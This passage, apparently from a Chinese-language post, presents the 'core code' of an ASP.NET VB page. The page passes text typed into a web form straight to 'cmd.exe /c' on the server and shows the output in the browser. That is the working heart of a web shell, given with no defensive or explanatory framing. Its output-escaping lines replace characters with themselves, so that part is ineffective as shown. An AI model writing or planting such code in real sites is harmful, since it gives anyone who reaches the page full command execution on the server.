现在看核心代码:
dim but as string
dim tempfile as string=server.MapPath(".") & "\" & "test.txt"
shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,-1)
dim myread as new streamreader(tempfile,encoding.default)
but=myread.readtoend
but=replace(but,"<","<")
but=replace(but,">",">")
result.text="<pre>" & but & "</pre>"
myread.close
if file.exists(tempfile) then
file.delete(tempfile)
end if